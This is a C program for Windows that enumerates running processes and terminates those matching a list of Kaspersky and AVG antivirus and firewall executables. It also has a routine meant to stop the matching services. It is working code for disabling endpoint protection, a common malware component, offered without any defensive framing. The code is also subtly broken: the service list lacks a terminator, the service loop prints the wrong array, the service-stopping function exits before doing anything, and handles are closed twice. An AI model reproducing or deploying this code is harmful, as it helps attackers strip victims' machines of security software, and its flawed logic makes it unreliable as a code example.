#include <stdio.h>
#include <windows.h>
#include <Tlhelp32.h>
#include <shlwapi.h>

#pragma comment(lib, "Advapi32.lib")
#pragma comment(lib, "shlwapi.lib")

#define MAX_BUF_SIZE 1024



/*
 * Functions forward declarations.
 */

int killProcess(char *pProcessName);
int killService(char *pServiceName);
int killAProc(int pPID);

/*
 * Global variables + constants.
 */

char *gPFWsProcesses[] = {"KAVPF.exe", "agentw.exe", "AckWin32.exe", 
                          "avpm.exe", "AVGUPSVC.EXE", "AVGCC.exe", 
						  "AVGCTRL.EXE", "AVGSERV.EXE", "AVGAMSVR.EXE", 
						  "AVGEMC.EXE", NULL};

char *gPFWsServices[] = {"Avg7Alrt", "Avg7UpdSvc", "AVGEMS"};


/*
 * Program entry point.
 */

int main(int argc, char* argv[])
{
  int lRetVal = 0;
  int lCounter = 0;



  /*
   * Killing firewall services.
   */

  for (lCounter = 0; gPFWsServices[lCounter] != NULL; lCounter++)
  {
    printf("killing firewall service \"%s\"\n", gPFWsProcesses[lCounter]);
    killService(gPFWsServices[lCounter]);
  }


  /*
   * Killing firewall processes
   */

  for (lCounter = 0; gPFWsProcesses[lCounter] != NULL; lCounter++)
  {
    printf("killing firewall process \"%s\"\n", gPFWsProcesses[lCounter]);
    killProcess(gPFWsProcesses[lCounter]);
  }



END:

  return(lRetVal);
}







/*
 * functions + procedures.
 */

int killService(char *pServiceName)
{
  int lRetVal = 0;
  SC_HANDLE hSCManager = 0;
  SC_HANDLE hService = 0;
  SERVICE_STATUS status;


goto END;

  if ((hSCManager = OpenSCManager(0, 0, SC_MANAGER_CONNECT)) == 0)
  {
    lRetVal = -1;
	goto END;
  }

	
  if ((hService = OpenService(hSCManager, pServiceName, SERVICE_STOP)) == 0)
  {
    lRetVal = -2;
    goto END;
  }

  ControlService(hService, SERVICE_CONTROL_STOP, &status);

  if (hService != INVALID_HANDLE_VALUE)
    CloseServiceHandle(hService);

  if (hSCManager != INVALID_HANDLE_VALUE)
    CloseServiceHandle(hSCManager);

END:

  return(lRetVal);
}






int killProcess(char *pProcessName)
{
  int lRetVal = 0;
  HANDLE hSnap = INVALID_HANDLE_VALUE;
  HANDLE hProcess = INVALID_HANDLE_VALUE;
  PROCESSENTRY32 lProcEnt;
  
  ZeroMemory(&lProcEnt, sizeof(lProcEnt));
  lProcEnt.dwSize = sizeof(lProcEnt);


  if((hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)) != (HANDLE) -1)
  {
    if(Process32First(hSnap, &lProcEnt))
	{
	  do 
	  {
		if (StrStrI(lProcEnt.szExeFile, pProcessName) != NULL)
        {
          if((hProcess = OpenProcess(PROCESS_TERMINATE, 1, lProcEnt.th32ProcessID)) != NULL)
          {
            if (! TerminateProcess(hProcess, NULL))
			{
				printf("  ERROR: terminating process %s : %d\n", lProcEnt.szExeFile, GetLastError());
			}
            CloseHandle(hProcess);
		  } else {
			printf("  ERROR: can't open process %s : %d\n", lProcEnt.szExeFile, GetLastError());
		  }
        }
        CloseHandle(hProcess);
	  } while(Process32Next(hSnap, &lProcEnt));

      CloseHandle(hSnap);
	} else {
      printf("  ERROR: can't open process listing : %d\n", GetLastError());
	}
  } else {
    printf("  ERROR : can't create processes listing : %d\n", GetLastError());
  }


  return(lRetVal);
}


